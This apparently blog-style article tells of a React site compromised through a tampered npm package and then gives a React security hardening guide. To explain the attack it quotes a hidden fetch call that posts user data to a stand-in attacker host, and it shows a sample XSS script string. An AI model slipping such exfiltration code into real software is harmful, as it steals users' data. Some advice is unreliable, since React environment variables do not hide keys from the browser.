The Mystery of the Unwanted Popup: A React.js Supply Chain Attack Story
π Scenario:
A React.js website in production suddenly started showing an unwanted popup, collecting user information without authorization. The team panickedβwas this a hack? A data breach?
π Initial Findings:
- Server Logs: Clean, no unauthorized access.
- Database: Untouched, no data leaks.
- Website Code: No injected malicious scripts.
- SSL: Intact, no MITM attacks.
Suspicion: A supply chain attackβa compromised npm package!
π΅οΈββοΈ Investigation & Fixing the Issue
Step 1: Check Suspicious npm Packages
The team needed to find if any third-party React package was modified maliciously.
Commands Used:
# Check installed version of a package
npm list <packagename>
# View all published versions & their release dates
npm view <packagename> versions
# Check the latest version
npm view <packagename> version
# Verify release timestamps (to detect sudden updates)
npm view <packagename>@<version> time
Finding:
- A compromised version of a UI library (
react-popup-manager@3.2.1
) was pushing unauthorized POST requests.
Step 2: Locate the Malicious API Call
The popup was sending data to an unknown API endpoint.
Where It Hid:
- Inside a dependencyβs bundled JS (
node_modules/react-popup-manager/dist/index.js
). - A stealthy POST call was embedded:
fetch("https://malicious-api.example.com/log", {
method: "POST",
body: JSON.stringify(userData)
});
Fix Applied:
- Removed the malicious package:
npm uninstall react-popup-manager
- Replaced it with a trusted version:
npm install react-popup-manager@3.1.5 --save-exact
- Audited all dependencies:
npm audit
Step 3: Secure the API Endpoints
- Removed hardcoded API URLs from frontend code.
- Switched to environment variables (
process.env.REACT_APP_API_URL
). - Added CORS restrictions on the backend.
π Preventing Future Attacks
β
Use --save-exact
to lock versions.
β
Regularly run npm audit
for vulnerabilities.
β
Monitor node_modules
for unexpected changes.
β
Enable 2FA for npm publish.
π’ Key Takeaways
- Supply chain attacks are real! Always verify npm packages.
- Lock versions to avoid auto-updating to compromised code.
- Never trust third-party scripts blindlyβaudit them!
The Ultimate Guide to Securing React.js Applications
(A Step-by-Step Defense Against Supply Chain Attacks, XSS, Data Leaks & More)
π Why React Security Matters
React apps are vulnerable to:
β Supply chain attacks (malicious npm packages)
β XSS (Cross-Site Scripting)
β CSRF (Cross-Site Request Forgery)
β Insecure API endpoints
β Environment variable leaks
Letβs lock it down!
π‘οΈ Step 1: Prevent Supply Chain Attacks
1. Use --save-exact
& Lockfiles
npm install package@1.2.3 --save-exact # Pins exact version
- Always commit
package-lock.json
(prevents silent updates).
2. Audit Dependencies Regularly
npm audit # Checks for vulnerabilities
npm audit fix # Automatically fixes some issues
npx better-npm-audit # More detailed analysis
Pro Tip: Use Socket.dev to detect suspicious package behavior.
3. Whitelist Safe Packages
- Use npmβs
overrides
to force safe versions:
// package.json
"overrides": {
"react-popup-manager": "3.1.5"
}
π‘οΈ Step 2: Block XSS (Cross-Site Scripting)
1. Sanitize User Input
import DOMPurify from "dompurify";
const userInput = "<script>alert('Hacked!')</script>";
const cleanInput = DOMPurify.sanitize(userInput); // Removes scripts
Alternative: Use react-escape
for dynamic content.
2. Use dangerouslySetInnerHTML
Sparingly
<div dangerouslySetInnerHTML={{ __html: sanitizedHTML }} />
β οΈ Never use it with unsanitized data!
3. Set Secure HTTP Headers
Add to nginx.conf
or Netlify/vercel headers:
add_header X-XSS-Protection "1; mode=block";
add_header Content-Security-Policy "default-src 'self'";
π‘οΈ Step 3: Secure API Calls
1. Hide API Keys with Environment Variables
# .env
REACT_APP_API_URL=https://real-api.example.com
- Never expose in client-side code:
// β BAD (visible in browser)
const API_KEY = "12345";
// β
GOOD (only in .env)
fetch(`${process.env.REACT_APP_API_URL}/data`);
2. Use CORS & CSRF Tokens
Backend (Node.js example):
app.use(cors({
origin: ["https://yourdomain.com"], // Whitelist
credentials: true
}));
Frontend:
// Include CSRF token in requests
axios.defaults.headers.common["X-CSRF-Token"] = getCSRFToken();
π‘οΈ Step 4: Harden Authentication
1. Use HttpOnly
Cookies for JWT
// Backend (Express.js)
res.cookie("token", jwt, {
httpOnly: true, // Blocks JS access
secure: true, // HTTPS only
sameSite: "strict"
});
2. Implement Rate Limiting
npm install express-rate-limit
app.use(rateLimit({
windowMs: 15 * 60 * 1000, // 15 mins
max: 100 // Limit each IP to 100 requests
}));
π‘οΈ Step 5: Deployment Security
1. Disable Source Maps in Production
GENERATE_SOURCEMAP=false # In .env.production
Why? Prevents hackers from reverse-engineering your code.
2. Use Security Headers (Helmet.js)
npm install helmet
app.use(helmet()); // Sets 11+ security headers automatically
3. Monitor with Snyk or Dependabot
- Snyk β Scans for vulnerabilities.
- GitHub Dependabot β Auto-PRs for outdated packages.
π Final Checklist
β
Lock npm versions (--save-exact
+ package-lock.json
).
β
Sanitize all user inputs (DOMPurify).
β
Hide API keys (.env
+ server-side proxies).
β
Enable CORS/CSRF protection.
β
Use HttpOnly
cookies for auth.
β
Deploy with security headers (Helmet.js).
π Want More?
- Try hacking your own app with OWASP ZAP.
- Read: OWASP React Security Cheat Sheet.
Stay safe, and happy coding! π